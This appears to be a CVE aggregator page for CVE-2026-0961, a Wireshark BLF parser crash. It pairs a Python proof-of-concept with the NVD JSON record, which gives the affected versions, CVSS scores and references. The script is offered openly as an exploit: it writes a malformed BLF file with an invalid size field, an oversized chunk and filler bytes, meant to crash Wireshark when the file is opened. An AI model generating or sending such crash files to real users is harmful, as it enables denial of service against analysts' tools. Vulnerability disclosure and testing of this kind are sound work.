CVE-2026-0961

#!/usr/bin/env python3 # CVE-2026-0961 PoC - Malicious BLF File Generator # This PoC generates a malformed BLF file to trigger Wireshark parser crash import struct import sys def create_malformed_blf(filename): """ Generate a malformed BLF file to trigger parser crash in Wireshark """ # BLF file header structure magic = b'BLF\x00' # BLF magic bytes version = struct.pack('<I', 0x00000001) # Version 1 # Create malformed header with invalid data header = magic + version header += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) # Invalid size field header += struct.pack('<I', 0x00000000) # Zero flags # Malformed chunk data chunk_type = struct.pack('<I', 0x41414141) # Invalid chunk type (AAAA) chunk_size = struct.pack('<Q', 0x7FFFFFFF) # Oversized chunk # Crafted payload with malformed structures payload = b'\x00' * 100 # Null bytes payload += b'\xFF' * 100 # Invalid data payload += struct.pack('<I', 0xDEADBEEF) # Magic markers # Write malicious BLF file with open(filename, 'wb') as f: f.write(header) f.write(chunk_type) f.write(chunk_size) f.write(payload) print(f'[+] Created malicious BLF file: {filename}') print(f'[+] File size: {len(header) + len(chunk_type) + len(chunk_size) + len(payload)} bytes') if __name__ == '__main__': if len(sys.argv) != 2: print('Usage: python3 cve_2026_0961_poc.py <output.blf>') sys.exit(1) create_malformed_blf(sys.argv[1])

{"cve": {"id": "CVE-2026-0961", "sourceIdentifier": "[email protected]", "published": "2026-01-14T21:15:53.063", "lastModified": "2026-01-21T18:43:01.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BLF file parser crash in Wireshark 4.6.0 to 4.6.2 and 4.4.0 to 4.4.12 allows denial of service"}, {"lang": "es", "value": "Caída del analizador de archivos BLF en Wireshark 4.6.0 a 4.6.2 y 4.4.0 a 4.4.12 permite denegación de servicio"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.13", "matchCriteriaId": "16FECE03-940B-47CD-895B-7D9485F05357"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndExcluding": "4.6.3", "matchCriteriaId": "60A9FC59-FB67-46A7-9A4B-EE8FCC8CE24A"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/20880", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-01.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}